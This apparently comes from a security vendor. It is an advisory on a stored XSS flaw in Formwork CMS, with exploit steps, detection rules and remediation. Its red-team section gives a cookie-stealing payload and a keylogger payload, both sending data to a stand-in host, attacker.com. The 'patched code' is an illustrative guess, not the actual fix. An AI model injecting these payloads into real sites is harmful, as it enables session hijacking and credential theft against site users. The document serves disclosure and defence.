CVE-2024-35621

Executive Summary

CVE-2024-35621 is a stored Cross-Site Scripting (XSS) vulnerability in Formwork CMS versions prior to 1.13.0. An authenticated attacker with edit privileges can inject arbitrary JavaScript or HTML into the Content field, which is then stored and executed in the browsers of other users viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, and proof-of-concept code exists. No active exploitation in the wild has been reported as of this analysis.

Supply Chain & Package Security

Formwork is a PHP-based CMS distributed via GitHub and Composer. The vulnerability exists in the core application code, not in a third-party package. However, organizations using Formwork should verify the integrity of their installation and ensure no malicious modifications have been made. The patch is available in the official repository.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account with edit permissions.
• User Interaction (UI): Required – The victim must view the malicious content.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for stored XSS in a CMS context is significant.

Deep Dive & Mechanics

The vulnerability resides in the Edit function of Formwork's admin panel. When a user with edit privileges modifies the Content field of a page, the input is not properly sanitized before being stored in the database. The application fails to escape or validate HTML/JavaScript content, allowing an attacker to inject malicious scripts.

Attack Flow:

1. An attacker authenticates to the Formwork admin panel.
2. The attacker navigates to the page editor and inserts a malicious payload into the Content field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When any user (including administrators) views the affected page, the script executes in their browser context.

Root Cause: Lack of output encoding or input validation on the Content field. The application likely uses echo or similar functions without applying htmlspecialchars() or a templating engine's auto-escaping feature.

Vulnerable vs. Patched Code

Vulnerable Code (Formwork < 1.13.0):

// In the page save handler
$content = $_POST['content'];
// Directly stored without sanitization
$page->setContent($content);
$page->save();

Patched Code (Formwork >= 1.13.0):

// In the page save handler
$content = $_POST['content'];
// Sanitize using htmlspecialchars or a dedicated library
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
$page->setContent($content);
$page->save();

The patch ensures that any HTML tags are encoded, preventing script execution. Alternatively, the application may use a Content Security Policy (CSP) or a WYSIWYG editor that sanitizes input on the client side, but server-side validation is the definitive fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account with edit permissions on a Formwork instance (< 1.13.0).
• Access to the admin panel.

Exploit Steps:

1. Log in to the Formwork admin panel.
2. Navigate to any editable page.
3. In the Content field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the page.
5. Wait for an administrator or other user to view the page. The script will execute, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /admin/pages/edit with suspicious Content parameters containing <script> tags.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Upgrade to Formwork 1.13.0 or later.
• If upgrade is not immediately possible, apply a virtual patch using a WAF.
• Restrict edit permissions to trusted users only.
• Enable input validation on all user-supplied fields.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the Formwork server.
• Unusual Referer headers pointing to admin edit pages.

File IOCs:

• Modified page content files in the content/ directory containing <script> tags.
• Suspicious entries in the database pages table with unescaped HTML.

Log IOCs:

• Web server logs showing POST requests to /admin/pages/edit with Content parameter containing %3Cscript%3E (URL-encoded <script>).
• Error logs showing attempts to execute JavaScript on the server side (unlikely but possible).

Detection Engineering

YARA Rule

rule Detect_Formwork_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Formwork content files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35621"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Formwork Stored XSS via Content Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-35621 by injecting XSS payloads into the Content field.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/pages/edit'
        cs-uri-query|contains: 'content='
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (e.g., embedded widgets)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-35621 Formwork Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/pages/edit"; http_uri;
    content:"content="; http_client_body;
    pcre:"/(<script|on\w+=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-35621;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Formwork to version 1.13.0 or later.
2. If upgrade is not possible, implement a WAF rule to block requests containing <script> in the Content parameter.
3. Review all existing page content for signs of XSS injection.

Long-Term Measures:

• Enforce strict Content Security Policy (CSP) headers.
• Conduct regular security audits of the CMS.
• Train content editors on the risks of XSS.
• Implement input validation and output encoding in all custom code.

Patch Details: The official patch is available in the Formwork GitHub repository. Upgrade to version 1.13.0, which includes proper sanitization of the Content field.

Valters IT
DevSecOps & Cyber Threat Intelligence